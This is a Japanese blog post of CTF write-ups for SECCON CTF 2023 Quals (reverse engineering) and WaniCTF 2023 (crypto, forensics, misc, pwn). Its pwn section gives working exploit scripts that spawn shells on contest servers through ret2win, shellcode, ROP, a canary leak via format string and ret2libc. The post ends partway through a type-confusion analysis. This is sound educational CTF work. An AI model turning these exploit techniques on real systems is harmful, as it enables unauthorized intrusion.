SECCON CTF 2023 Quals Writeup
2023/9/16(土) 14:00 ~ 2023/9/17(日) 14:00に開催されたSECCON CTF 2023 QualsのWriteupです。
チームDouble Lariat
で参加し、全体で41位、国内で8位という結果になりました。今年も国内決勝に行けるようで非常に嬉しいです。
私はrev問を担当し、xuyao以外の4問を解きました。
[rev] jumpout
ELFバイナリのjumpout
が与えられます。中身はシンプルなフラグチェッカーで、フラグを入力するとCorrect!
かWrong...
を表示してくれます。
$ ./jumpout FLAG: hogehoge Wrong...
Ghidraでmain関数の処理を見ると、puts("Wrong...")
等の処理が見当たらず、中途半端なデコンパイル結果になっていることが分かりました。
undefined8 main(void) { int iVar1; long i; undefined8 *ptr; long in_FS_OFFSET; undefined8 buf [13]; long local_40; local_40 = *(long *)(in_FS_OFFSET + 0x28); ptr = buf; for (i = 0xc; i != 0; i = i + -1) { *ptr = 0; ptr = ptr + 1; } *(undefined4 *)ptr = 0; do { FUN_001010c0(1,"FLAG: "); iVar1 = __isoc99_scanf("%99s",buf); } while (iVar1 == 1); if (local_40 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return 1; }
アセンブリを詳しく見てみると、複数の場所で以下のアセンブリコードが見つかります。
mov rax, QWORD ptr [rsp + rbx*8] lea ebx, [r14 - 1] jmp rax
このコードによって処理の順番がばらばらになり、デコンパイル結果が中途半端になっていたと考えられます。ジャンプ先のアドレスをたどり、デコンパイル結果を組み合わせると以下のソースコードが得られました。
#include <stdio.h> unsigned char xor[] = {0xf6, 0xf5, ...}; unsigned char enc_flag[] = {0xf0, 0xe4, ...}; unsigned char FUN_00101360(unsigned char a, int b) { return a ^ (unsigned char)b ^ 0x55 ^ xor[b]; } int FUN_00101480(char *str) { size_t len = strlen(str); int unaff_EBP = 1; if (len != 0x1d) { return 1; } for (int i = 0; i < 0x1d; i++) { unaff_EBP &= (FUN_00101360(str[i], i) == enc_flag[i]); } return unaff_EBP == 0; } int main() { char buf[100]; long *ptr; int ret; // memset(buf, 0, 100)? ptr = (long*)buf; for (int i = 0xc; i != 0; i--) { *ptr = 0; ptr++; } *ptr = 0; do { ret = scanf("%99s", buf); } while (ret != 1); if (FUN_00101480(buf) == 0) { puts("Correct!"); } else { puts("Wrong..."); } }
FUN_0010360
の出力結果がenc_flag
と一致するような値を以下のソースコードで求めることでフラグを得られました。
enc = [246, 245, 49, 200, 129, 21, 20, 104, 246, 53, 229, 62, 130, 9, 202, 241, 138, 169, 223, 223, 51, 42, 109, 129, 245, 166, 133, 223, 23] target = [240, 228, 37, 221, 159, 11, 60, 80, 222, 4, 202, 63, 175, 48, 243, 199, 170, 178, 253, 239, 23, 24, 87, 180, 208, 143, 184, 244, 35] for i, e in enumerate(enc): for x in range(256): if 0x55 ^ i ^ e ^ x == target[i]: print(chr(x), end="") print()
$ python3 solve.py SECCON{jump_table_everywhere}
[rev] Sickle
pickle化されたフラグチェッカーのコードを実行するPythonスクリプトproblem.py
が与えられます。
flickingを用いてpickle化されたコード(problem.py
中のpayload
)をデコンパイルすると、以下のコードが得られました。
import ast import pickle from fickling.pickle import Pickled payload = b'\x8c\x08builtins\x8c\x07getattr...\x85R.' print(ast.dump(Pickled.load(payload).ast, indent=4))
_var0 = input('FLAG> ') _var1 = getattr(_var0, 'encode') _var2 = _var1() _var3 = getattr(dict, 'get') _var4 = globals() _var5 = _var3(_var4, 'f') _var6 = getattr(_var5, 'seek') _var7 = getattr(int, '__add__') _var8 = getattr(int, '__mul__') _var9 = getattr(int, '__eq__') _var10 = len(_var2) _var11 = _var9(_var10, 64) _var12 = _var7(_var11, 261) result = _var6(_var12)
payload
中にみられる__xor__
やappend
などが結果に表れておらず、不自然な結果となっていることが分かります。調べてみると、payload
中にSTOP命令を表す「.
」が複数存在することが原因であることが確認できました。
pickle化されたコードの中から.
を削除し、pickletools.optimize
で最適化したものをflickingでデコンパイルすると以下のコードが得られました。
_var0 = input('FLAG> ') _var1 = getattr(_var0, 'encode') _var2 = _var1() _var3 = getattr(dict, 'get') _var4 = globals() _var5 = _var3(_var4, 'f') _var6 = getattr(_var5, 'seek') _var7 = getattr(int, '__add__') _var8 = getattr(int, '__mul__') _var9 = getattr(int, '__eq__') _var10 = len(_var2) _var11 = _var9(_var10, 64) _var12 = _var7(_var11, 261) _var13 = _var6(_var12) _var14 = getattr(_var2, '__getitem__') _var15 = _var14(0) _var16 = getattr(_var15, '__le__') _var17 = _var16(127) _var18 = _var7(_var17, 330) _var19 = _var6(_var18) _var20 = _var7(0, 1) _var21 = _var9(_var20, 64) _var22 = _var8(_var21, 85) _var23 - _var7(_var22, 290) _var24 = _var6(_var23) _var25 = getattr([], 'append') _var26 = getattr([], "__getitem__") _var27 = getattr(int, 'from_bytes') _var28 = _var8(0, 8) _var29 = _var7(0, 1) _var30 = _var8(_var29, 8) _var31 = slice(_var28, _var30) _var32 = _var14(_var31) _var33 = _var27(_var32, 'little') _var34 = _var25(_var33) _var35 = _var7(0, 1) _var36 = _var9(_var35, 8) _var37 = _var8(_var36, 119) _var38 = _var7(_var37, 457) _var39 = _var6(_var38) _var40 = getattr([], 'append') _var41 = getattr([], '__getitem__') _var42 = getattr(int, '__xor__') _var43 = _var26(0) _var44 = _var42(_var43, 1244422970072434993) _var45 = pow(_var44, 65537, 18446744073709551557) _var46 = _var40(_var45) _var47 = _var41(0) _var48 = _var7(0, 1) _var49 = _var9(_var48, 8) _var50 = _var8(_var49, 131) _var51 = _var7(_var50, 679) _var52 = _var6(_var51) _var53 = getattr([], '__eq__') _var54 = _var53([8215359690687096682,1862662588367509514,8350772864914849965,11616510986494699232,3711648467207374797,9722127090168848805,16780197523811627561,18138828537077112905])
処理をまとめると、以下の6つのステップに分けられます。
- 標準入力からフラグを入力させる(以下flagと表記)
- flagの長さが64文字か確認する
- flagの各byteが0x7fより小さいことを確認する
- flagを8文字ごとに区切り、int.from_bytesで整数型に変換する(区切られたflagをブロックと表記する)
- 定数とxorをとって鍵
(n, e) = (18446744073709551557, 65537)
のRSAで暗号化する - 正解のフラグを暗号化したものと5.で暗号化したものを比較する
公開鍵に用いられているn
は素数であるため秘密鍵はd = pow(e, -1, n-1)
で求められ、暗号文はpow(enc, d, n)
で復号できます。最後に、復号して得られた平文と定数でxorをとることでフラグを求められます。
以下のコードで復号を試みましたが、最初のブロックのフラグは得られたものの2ブロック目以降はフラグとは関係のないバイト列が出力されました。
from Crypto.Util.number import * enc = [8215359690687096682,1862662588367509514,8350772864914849965,11616510986494699232,3711648467207374797,9722127090168848805,16780197523811627561,18138828537077112905] p = 18446744073709551557 phi = p - 1 d = pow(65537, -1, phi) key = 1244422970072434993 for e in enc: print(long_to_bytes(pow(e, d, p) ^ key)[::-1].decode(), end="")
$ python solve.py b'SECCON{C' b':\xc0\xa9\xcbj\xab"\x0c' b'Ut\xd05\xb4\xf0\xfd{' b'\xf9\xd6\xd4]\xdf\x96\xf9\x03' b'\x8e\x0b\x94\x84]P\x14\xd5' b"\x8e\x91\xe3\xd5\xf6'\x97K" b'\xf7\x03ZjR\x99\xd7\xe3' b'}\x18@f\xc2\x17\xa5\x84'
試行錯誤して2ブロック目以降でxorをとる値を直前のブロックの暗号文に変更したところ、フラグが出力されました。
from Crypto.Util.number import * enc = [8215359690687096682,1862662588367509514,8350772864914849965,11616510986494699232,3711648467207374797,9722127090168848805,16780197523811627561,18138828537077112905] keys = [1244422970072434993, *enc[:-1]] p = 18446744073709551557 phi = p - 1 d = pow(65537, -1, phi) for e, k in zip(enc, keys): print(long_to_bytes(pow(e, d, p) ^ k)[::-1].decode(), end="")
$ python solve.py SECCON{Can_someone_please_make_a_debugger_for_Pickle_bytecode??}
[rev] optinimize
nim言語で作成されたバイナリmain
が与えられます。
実行するとフラグが一文字ずつ出力されていきますが、フラグの後半になるにつれて出力にかかる時間が増大していき、10文字目あたりから全然出力されなくなります。
$ ./main SECCON{3b4
気合で解析してmain
が行う処理をPythonで書き直すと以下のソースコードになります。エントリポイントはNimMainModule
です。
qmain_vals = [0x4a,0x55,0x6f,0x79,0x80,0x95,0xae,0xbf,0xc7,0xd5,0x306,0x1ac8,0x24ba,0x3d00,0x4301,0x5626,0x6ad9,0x7103,0x901b,0x9e03,0x1e5fb6,0x26f764,0x30bd9e,0x407678,0x5b173b,0x6fe3b1,0x78ef25,0x858e5f,0x98c639,0xad6af6,0x1080096,0x18e08cd,0x1bb6107,0x1f50ff1,0x25c6327,0x2a971b6,0x2d68493,0x362f0c0,0x3788ead,0x3caa8ed] xor_vals = [0x3c,0xf4,0x1a,0xd0,0x8a,0x17,0x7c,0x4c,0xdf,0x21,0xdf,0xb0,0x12,0xb8,0x4e,0xfa,0xd9,0x2d,0x66,0xfa,0xd4,0x95,0xf0,0x66,0x6d,0xce,0x69,0x0,0x7d,0x95,0xea,0xd9,0xa,0xeb,0x27,0x63,0x75,0x11,0x37,0xd4] def P_main(x): if x == 0: return 3 elif x == 1: return 0 elif x == 2: return 2 i, j, k = 3, 0, 2 while (x > 2): tmp = i + j i, j, k = j, k, tmp x -= 1 return k def Q_main(x): i, j = 0, 0 while i < x: j += 1 if P_main(j) % j == 0: i += 1 return j def NimMainModule(): for i in range(40): x = qmain_vals[i] y = Q_main(x) % 256 z = y ^ xor_vals[i] if (z < 0x100) { print(chr(z), end="")
ループの中でP_main
が何度も呼ばれ、P_main
自体が非常に処理の重い関数であるため高速化する必要があるのですが、いい感じに高速化する方法が思いつきませんでした。rev部分だけ終わらせて他の問題に手を付けたり、高速化手法を考えていたところチームメンバーの方がP_main(j) % j == 0
となるj
が素数の数列であることに気づき、総当たりで解いてくれました。
SECCON{3b4297373223a58ccf3dc06a6102846f}
チームメンバーに感謝🙏
[rev] Perfect Blu
ブルーレイディスクのisoファイルperfect-blu.iso
が与えられます。VLCなどで再生するとフラグ入力画面が表示され、画面中央下のCHECKボタンを押すことで入力したフラグの正誤を判定してくれます。
BDeditでisoファイルを開き、CLIPINFタブでcpiファイルを選択、Program Infoパネルのstream typeがIGとなっている要素をダブルクリックすると以下の画面が表示されます。
複数あるボタンの中で一つだけCallObjectの引数が異なっているボタンが存在します。0000.clpi~0047.clpiに対して、「CallObjectの引数が異なっているボタンを見つけ、その座標を記録する」という作業を地道に行い、最後にボタンの座標から文字列に変換することでフラグが得られました。
xs = [315, 453, 590, 727, 865, 1002, 1139, 1277, 1414, 1551] ys = [413, 543, 672, 802] chars = "1234567890QWERTYUIOPASDFGHJKL{ZXCVBNM_-}" button_coords = [ (453, 672), (590, 543), (590, 802), (590, 802), (1414, 543), (1002, 802), (1551, 672), (1139, 672), (453, 543), (865, 802), (1002, 672), (1414, 802), (865, 413), (1277, 413), (590, 543), (1414, 672), (1414, 802), (315, 543), (453, 543), (727, 543), (1414, 672), (1414, 802), (590, 802), (1414, 672), (453, 672), (453, 543), (1414, 802), (1139, 543), (727, 672), (727, 543), (1277, 543), (1414, 802), (453, 802), (1139, 543), (1002, 543), (590, 413), (1414, 802), (1002, 543), (1002, 672), (1277, 672), (1277, 672), (1414, 802), (1277, 672), (727, 672), (865, 802), (727, 802), (1551, 802) ] def coord_to_key(coord): for i, x in enumerate(xs): for j, y in enumerate(ys): if x == coord[0] and y == coord[1]: return chars[i + j*10] return "" flag = "" for coord in button_coords: flag += coord_to_key(coord) print(flag)
$ python solve.py SECCON{JWBH-58EL-QWRL-CLSW-UFRI-XUY3-YHKK-KFBV}
感想
rev力が足りずxuyaoが解けなかったのは少し悔しいですが、5問あるrev問の中で4問も解けたのは良かったです。
今回もrev以外の問題に手を付けられなかったので少しずつ手を出せるジャンルを増やしていきたいですね。
WaniCTF 2023 Writeup
2023/5/4(木) 15:00 ~ 2023/5/6(土) 15:00に開催されたWaniCTF 2023のWriteupです。
個人で参加して、4841ptを獲得し35位でした。
Crypto
[Beginner] EZDORSA_Lv1
問題文に書いていることをそのまま計算するだけです。
p = 3 q = 5 n = p*q e = 65535 d = pow(e, -1, (p-1)*(q-1)) c = 10 print("wani{THE_ANSWER_IS_", pow(c, d, n), "}", sep="")
$ python3 solve.py wani{THE_ANSWER_IS_10}
[Easy] EZDORSA_lv2
の値がに対して小さいので、の7乗根を計算するとフラグを求められます。
import gmpy2 from Crypto.Util.number import * n = 25465155563758206895066841861765043433123515683929678836771513150236561026403556218533356199716126886534636140138011492220383199259698843686404371838391552265338889731646514381163372557117810929108511770402714925176885202763093259342499269455170147345039944516036024012941454077732406677284099700251496952610206410882558915139338028865987662513205888226312662854651278789627761068396974718364971326708407660719074895819282719926846208152543027213930660768288888225218585766787196064375064791353928495547610416240104448796600658154887110324794829898687050358437213471256328628898047810990674288648843902560125175884381 e = 7 c = 25698620825203955726406636922651025698352297732240406264195352419509234001004314759538513429877629840120788601561708588875481322614217122171252931383755532418804613411060596533561164202974971066750469395973334342059753025595923003869173026000225212644208274792300263293810627008900461621613776905408937385021630685411263655118479604274100095236252655616342234938221521847275384288728127863512191256713582669212904042760962348375314008470370142418921777238693948675063438713550567626953125 c_ = (c * pow(5, -100, n)) % n m, ok = gmpy2.iroot(c_, e) if ok: print(long_to_bytes(m))
$ python3 solve.py b'FLAG{l0w_3xp0n3nt_4ttAck}'
[Normal] EZDORSA_lv3
素因数が非常に小さいので、簡単に素因数分解することができます。また、の場合、はで求めることができます。
from Crypto.Util.number import * n = 22853745492099501680331664851090320356693194409008912025285744113835548896248217185831291330674631560895489397035632880512495471869393924928607517703027867997952256338572057344701745432226462452353867866296639971341288543996228186264749237402695216818617849365772782382922244491233481888238637900175603398017437566222189935795252157020184127789181937056800379848056404436489263973129205961926308919968863129747209990332443435222720181603813970833927388815341855668346125633604430285047377051152115484994149044131179539756676817864797135547696579371951953180363238381472700874666975466580602256195404619923451450273257882787750175913048168063212919624027302498230648845775927955852432398205465850252125246910345918941770675939776107116419037 e = 65537 c = 1357660325421905236173040941411359338802736250800006453031581109522066541737601274287649030380468751950238635436299480021037135774086215029644430055129816920963535754048879496768378328297643616038615858752932646595502076461279037451286883763676521826626519164192498162380913887982222099942381717597401448235443261041226997589294010823575492744373719750855298498634721551685392041038543683791451582869246173665336693939707987213605159100603271763053357945861234455083292258819529224561475560233877987367901524658639475366193596173475396592940122909195266605662802525380504108772561699333131036953048249731269239187358174358868432968163122096583278089556057323541680931742580937874598712243278738519121974022211539212142588629508573342020495 prime_list = [16969003, 17009203, 17027027, 17045117, 17137009, 17151529, 17495507, 17685739, 17933647, 18206689, 18230213, 18505933, 18613019, 18868781, 18901951, 18947729, 19022077, 19148609, 19574987, 19803209, 20590697, 20690983, 21425317, 21499631, 21580043, 21622099, 21707797, 21781139, 21792359, 21982481, 22101437, 22367311, 22374509, 22407799, 22491913, 22537409, 22542229, 22550677, 22733041, 23033441, 23049673, 23083759, 23179243, 23342663, 23563571, 23611043, 23869933, 24027973, 24089029, 24436597, 24454291, 24468209, 24848633, 25564219, 25888721, 26055889, 26119147, 26839909, 27152267, 27304777, 27316717, 27491137, 27647687, 27801167, 28082749, 28103563, 28151399, 28620611, 29035709, 29738689, 29891363, 29979379, 30007841, 30013391, 30049171, 30162343, 30419063, 30461393, 30625601, 31004861, 31108043, 31123457, 31269479, 31384663, 31387957, 31390189, 31469279, 32307589, 32432339, 32514061, 32628367, 32687509, 32703337, 32709977, 32715343, 32737429, 32831261, 33388603, 33418129, 33472771] phi = 1 for p in prime_list: phi *= p - 1 d = pow(e, -1, phi) print(long_to_bytes(pow(c, d, n)))
$ python3 solve.py b'FLAG{fact0r1z4t10n_c4n_b3_d0n3_3as1ly}'
[Normal] pqqp
は、であるのに対して、の大きさが1024bit程度になっている点が怪しいです。
詳しい証明は分かりませんが、手元でいろいろ試してみると以下の式が成り立つことが分かりました。
\begin{align} p^{q} &\equiv p \mod n \\ q^{p} &\equiv q \mod n \end{align}
よって、が成り立ちます。
\begin{align} \phi(n) &= (p - 1)(q - 1) \\ &= n - p - q + 1 \\ &= n - s + 1 \end{align}
よって、からを求めることができるのでを求められます。
from Crypto.Util.number import * n = 31091873146151684702346697466440613735531637654275447575291598179592628060572504006592135492973043411815280891993199034777719870850799089897168085047048378272819058803065113379019008507510986769455940142811531136852870338791250795366205893855348781371512284111378891370478371411301254489215000780458922500687478483283322613251724695102723186321742517119591901360757969517310504966575430365399690954997486594218980759733095291730584373437650522970915694757258900454543353223174171853107240771137143529755378972874283257666907453865488035224546093536708315002894545985583989999371144395769770808331516837626499129978673 e = 65537 c = 8684906481438508573968896111659984335865272165432265041057101157430256966786557751789191602935468100847192376663008622284826181320172683198164506759845864516469802014329598451852239038384416618987741292207766327548154266633297700915040296215377667970132408099403332011754465837054374292852328207923589678536677872566937644721634580238023851454550310188983635594839900790613037364784226067124711011860626624755116537552485825032787844602819348195953433376940798931002512240466327027245293290482539610349984475078766298749218537656506613924572126356742596543967759702604297374075452829941316449560673537151923549844071 s = 352657755607663100038622776859029499529417617019439696287530095700910959137402713559381875825340037254723667371717152486958935653311880986170756144651263966436545612682410692937049160751729509952242950101025748701560375826993882594934424780117827552101647884709187711590428804826054603956840883672204048820926 phi = n - s + 1 d = pow(e, -1, phi) print(long_to_bytes(pow(c, d, n)))
$ python3 solve.py b'FLAG{p_q_p_q_521d0bd0c28300f}'
Forensics
[Beginner] Just_mp4
ファイルのプロパティを見ると、発行元がflag_base64:RkxBR3tINHYxbl9mdW5fMW5uMXR9
となっていたので、base64デコードするとフラグが得られました。
$ echo RkxBR3tINHYxbl9mdW5fMW5uMXR9 | base64 -d FLAG{H4v1n_fun_1nn1t}
[Beginner] whats_happening
適当なフォルダにupdogをマウントすると、中にFLAG.pngがありました。
$ sudo mount updog ./mnt $ ls mnt FAKE_FLAG.txt FLAG.png
[Easy] lowkey_messedup
USBデバイスとの通信を記録したpcapファイルが与えられます。 ここを見るとUSBpcapでキャプチャしたデータの最初の27byteはヘッダであり、通信内容はその後に続くとされています。
また、usbpcap decode
でgoogle検索するとキーボード入力をデコードするスクリプトが見つかったので、それを参考にスクリプトを書くとフラグが得られました。
$ cat solve.py from scapy.all import * keycode = { 0x04: "aA", 0x05: "bB", 0x06: "cC", 0x07: "dD", 0x08: "eE", 0x09: "fF", 0x0a: "gG", 0x0b: "hH", 0x0c: "iI", 0x0d: "jJ", 0x0e: "kK", 0x0f: "lL", 0x10: "mM", 0x11: "nN", 0x12: "oO", 0x13: "pP", 0x14: "qQ", 0x15: "rR", 0x16: "sS", 0x17: "tT", 0x18: "uU", 0x19: "vV", 0x1a: "wW", 0x1b: "xX", 0x1c: "yY", 0x1d: "zZ", 0x1e: "1!", 0x1f: "2\"", 0x20: "3#", 0x21: "4$", 0x22: "5%", 0x23: "6&", 0x24: "7'", 0x25: "8(", 0x26: "9)", 0x27: "00", 0x2c: " ", 0x2d: "-_", 0x2f: "[{", 0x30: "]}" } p = rdpcap("chall.pcap") flag = "" for pkt in p: if len(pkt.load) <= 27: continue data = pkt.load[27:] x = data[2] if x == 0: continue is_shift = int(data[0] == 2) if x == 42: flag = flag[:-1] elif x == 40: flag += "\n" if x not in keycode: continue flag += keycode[x][is_shift] print(flag)
$ python3 solve.py WARNING: PcapReader: unknown LL type [249]/[0xf9]. Using Raw packets FLAG{Big_br0ther_is_watching_y0ur_keyb0ard}
[Normal] beg_for_a_peg
Wiresharkでpcapファイルを解析すると、flag.jpgをGETするHTTPリクエストが見つかります。そのパケットに対して「追跡→TCPストリーム」を実行して得られたバイト列をファイルとして書き出すとflag.jpgが得られました。
data = bytes.fromhex("ffd8ffe100754578696600004d4d...ffd9") with open("flag.jpg", "wb") as f: f.write(data)
[Hard] Apocalypse
うさみみハリケーンに付属している「青い空を見上げればいつもそこに白い猫」のステガノグラフィー解析機能を利用して、アルファチャンネルを無効にするとフラグが出てきました。
Misc
[Beginner] prompt
prompt injectionと検索すると出てきた記事を参考にしました。
[Easy] shuffle_base64
ハッシュ値が与えられているので、総当たりで並べ替えてハッシュ値が一致しているか確認することでフラグを求められます。
import base64 import hashlib import itertools enc = base64.b64decode("fWQobGVxRkxUZmZ8NjQsaHUhe3NAQUch") def split(enc): result = [] for i in range(0, len(enc), 3): result.append(enc[i:i+2]) return result split_enc = split(enc) for p in itertools.permutations(split_enc): tmp = b"".join(p) if not tmp.endswith(b"}d"): continue tmp = tmp[:-1] if hashlib.sha256(tmp).hexdigest() == "19b0e576b3457edfd86be9087b5880b6d6fac8c40ebd3d1f57ca86130b230222": print(tmp)
$ python3 solve.py b'FLAG{shuffle64}'
Pwnable
[Beginner] 01. netcat
指定されたサーバにnetcatでアクセスして、計算問題を3つ解けばシェルが起動するのでcat FLAG
するだけです。
$ nc netcat-pwn.wanictf.org 9001 +-----------------------------------------+ | your score: 0, remaining 100 challenges | +-----------------------------------------+ 140 + 93 = 233 Cool! +-----------------------------------------+ | your score: 1, remaining 99 challenges | +-----------------------------------------+ 866 + 224 = 1090 Cool! +-----------------------------------------+ | your score: 2, remaining 98 challenges | +-----------------------------------------+ 161 + 484 = 645 Cool! Congrats! ls FLAG chall redir.sh cat FLAG FLAG{1375_k339_17_u9_4nd_m0v3_0n_2_7h3_n3x7!}
[Easy] 02. only_once
適当に8文字入力するとchallの値が負の数になり、好きなだけ入力できるようになります。後は、01. netcat
と同じです。
$ nc only-once-pwn.wanictf.org 9002 +---------------------------------------+ | your score: 0, remaining 1 challenges | +---------------------------------------+ 950 + 818 = aaaaaaaa Oops... +---------------------------------------+ | your score: 0, remaining -1 challenges | +---------------------------------------+ 46 + 408 = 454 Cool! +---------------------------------------+ | your score: 1, remaining -2 challenges | +---------------------------------------+ 470 + 394 = 864 Cool! +---------------------------------------+ | your score: 2, remaining -3 challenges | +---------------------------------------+ 568 + 504 = 1072 Cool! Congrats! ls FLAG chall redir.sh cat FLAG FLAG{y0u_4r3_600d_47_c41cu14710n5!}
[Easy] 03. ret2win
リターンアドレスにwin関数のアドレスを書き込むだけです。
from pwn import * elf = ELF("./pwn-ret2win/chall") win = elf.symbols["win"] p = remote("ret2win-pwn.wanictf.org", 9003) payload = b'A' * 0x28 payload += p64(win) p.sendlineafter(b'> ', payload) p.interactive()
$ python3 solve.py [*] '/home/miso/ctf/wani2023/pwn/ret2win/pwn-ret2win/chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Opening connection to ret2win-pwn.wanictf.org on port 9003: Done [*] Switching to interactive mode $ cat flag cat: flag: No such file or directory $ ls FLAG chall redir.sh $ cat FLAG FLAG{f1r57_5739_45_4_9wn3r}
[Normal] 04. shellcode_basic
pwntoolsのshellcraftでシェルコードを作成して流し込むだけです。
from pwn import * context.arch = 'amd64' context.os = 'linux' p = remote('shell-basic-pwn.wanictf.org', 9004) p.sendline(asm(shellcraft.sh())) p.interactive()
$ python3 solve.py [+] Opening connection to shell-basic-pwn.wanictf.org on port 9004: Done [*] Switching to interactive mode $ ls FLAG chall redir.sh $ cat FLAG FLAG{NXbit_Blocks_shellcode_next_step_is_ROP}
[Normal] 05. beginners ROP
ROPでexecve("/bin/sh", NULL, NULL)
を実行するだけです。
from pwn import * elf = ELF("chall") rop_pop_rax = elf.symbols["pop_rax_ret"] + 8 rop_xor_rsi = elf.symbols["xor_rsi_ret"] + 8 rop_xor_rdx = elf.symbols["xor_rdx_ret"] + 8 rop_mov_rsp_rdi = elf.symbols["mov_rsp_rdi_pop_ret"] + 8 rop_syscall = elf.symbols["syscall_ret"] + 8 p = remote("beginners-rop-pwn.wanictf.org", 9005) payload = b"A" * 0x28 payload += p64(rop_pop_rax) payload += p64(0x3b) # execve payload += p64(rop_xor_rsi) payload += p64(rop_xor_rdx) payload += p64(rop_mov_rsp_rdi) payload += b'/bin/sh\x00' payload += p64(rop_syscall) p.sendlineafter(b'> ', payload) p.interactive()
$ python3 solve.py [*] '/home/miso/ctf/wani2023/pwn/beginners_ROP/pwn-beginners-rop/chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Opening connection to beginners-rop-pwn.wanictf.org on port 9005: Done [*] Switching to interactive mode $ ls FLAG chall redir.sh $ cat FLAG FLAG{h0p_p0p_r0p_po909090p93r!!!!}
[Normal] 06. Canaleak
FSBでCanaryをリークして、Canaryの値を壊さないようにリターンアドレスを書き換えるとwin関数を実行できます。 たまに失敗するので、何回か実行するとうまくいきます。
from pwn import * elf = ELF("./chall") win = elf.symbols["win"]+8 p = process("./chall") p = remote("canaleak-pwn.wanictf.org", 9006) # leak canary p.sendlineafter(b": ", "%9$p") canary = int(p.recvline().strip(), 16) payload = b'A' * 0x18 payload += p64(canary) payload += b'B' * 8 payload += p64(win) p.sendlineafter(b': ', payload) p.sendlineafter(b': ', b'YES') p.interactive()
k$ python3 solve.py [*] '/home/miso/ctf/wani2023/pwn/canaleak/pwn-Canaleak/chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) [+] Starting local process './chall': pid 4594 [+] Opening connection to canaleak-pwn.wanictf.org on port 9006: Done /home/miso/ctf/wani2023/pwn/canaleak/pwn-Canaleak/solve.py:10: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes p.sendlineafter(b": ", "%9$p") [*] Switching to interactive mode AAAAAAAAAAAAAAAAAAAAAAAA You can't overwrite return address if canary is enabled. Do you agree with me? : $ YES YES $ ls FLAG chall redir.sh $ cat FLAG FLAG{N0PE!}$
[Normal] 07. ret2libc
スタック上に__libc_start_call_main+128
のアドレスが乗っているので、それをもとにlibcのベースアドレスを計算すれば、ret2libcでシェルを実行できます。
from pwn import * context.arch = "amd64" libc = ELF("./libc.so.6") elf = ELF("./chall") p = remote("ret2libc-pwn.wanictf.org", 9007) p.recvuntil(b'0x28') libc_start_call_main = int(p.recvline().split(b'|')[1], 16) - 128 libc_start_main = libc_start_call_main + 0xb0 libc.address = libc_start_main - libc.symbols['__libc_start_main'] log.info(f"{hex(libc.address)=}") rop = ROP(libc) rop.raw(b'A' * 0x28) rop.raw(rop.find_gadget(["ret"])) rop.system(next(libc.search(b'/bin/sh'))) rop.raw(b'A' * 0x100) p.sendlineafter(b'> ', rop.chain()) p.interactive()
$ python3 solve.py [*] '/home/miso/ctf/wani2023/pwn/ret2libc/pwn-ret2libc/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] '/home/miso/ctf/wani2023/pwn/ret2libc/pwn-ret2libc/chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Opening connection to ret2libc-pwn.wanictf.org on port 9007: Done [*] hex(libc.address)='0x7f322003b000' [*] Loaded 218 cached gadgets for './libc.so.6' [*] Switching to interactive mode /bin/sh: 1: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA: not found $ ls FLAG chall redir.sh $ cat FLAG FLAG{c0n6r475_0n_6r4du471n6_45_4_9wn_b361nn3r!}
[Hard] 08. Time Table
mandatory_subjectとelective_subjectの2種類の科目を登録することができます。
typedef struct { char *name; int time[2]; char *target[4]; char memo[32]; char *professor; } mandatory_subject; typedef struct { char *name; int time[2]; char memo[32]; char *professor; int (*IsAvailable)(student *); } elective_subject;
メモリ配置を図示すると以下のようになります。
以下の2点が怪しいです。
- memoのアドレスが2つの構造体でちょうど32byte分ずれている。
- elective_subjectに関数ポインタがある。
科目を設定する関数であるregister_mandatory_classを見てみます。
void register_mandatory_class() { int i; mandatory_subject choice; print_table(timetable); printf("-----Mandatory Class List-----\n"); print_mandatory_list(); printf(">"); scanf("%d", &i); choice = mandatory_list[i]; printf("%d\n", choice.time[0]); timetable[choice.time[0]][choice.time[1]].name = choice.name; timetable[choice.time[0]][choice.time[1]].type = MANDATORY_CLASS_CODE; timetable[choice.time[0]][choice.time[1]].detail = &mandatory_list[i]; }
mandatory_listにアクセスする際にインデックスのチェックを行っていません。また、mandatory_listの後ろのアドレスにelective_listがあります。
$ readelf -s chall | grep list 38: 00000000004050c0 264 OBJECT GLOBAL DEFAULT 26 mandatory_list 39: 00000000004051e0 128 OBJECT GLOBAL DEFAULT 26 elective_list ...
よって、範囲外参照でelective_listの要素を指定すると、type confusionを起こせそうなことが分かります。 実際に、register_mandatory_classのインデックスとして4を指定すると、elective_list[1]を参照することができます。
次に、write_memoに着目します。
void write_memo() { comma *choice = choose_time(timetable); printf("WRITE MEMO FOR THE CLASS\n"); if (choice->type == MANDATORY_CLASS_CODE) { read(0, ((mandatory_subject *)choice->detail)->memo, 30); } else if (choice->type == ELECTIVE_CLASS_CODE) { read(0, ((elective_subject *)choice->detail)->memo, 30); } }
choice->type
に応じてキャストを行い、memoフィールドに30バイト読み込む処理を行っています。
choice->type
は、register_mandatory_class
関数とregister_elective_class
関数でセットされるため、先ほどのtype confusionを利用することで、elective_subjectをmandatory_subjectとしてキャストさせることができます。
メモリ配置の図を見ると、mandatory_subject->memo
はelective_subject->professor
と同じオフセットを指しています。type confusionを行うことで、professorとIsAvailableに任意の値を書き込むことができるようになります。
print_elective_subject
関数にprintf("Professor : %s\n", elective_subjects->professor);
があるので、professorにGOTのアドレスを書き込んでおけばlibcをリークできます。
また、register_elective_subject
関数にchoice.IsAvailable(&user)
があるので、userのアドレスを引数として任意の関数を実行できます。
userの型であるstudent
は、以下のように定義されています。
typedef struct { char name[10]; int studentNumber; int EnglishScore; } student;
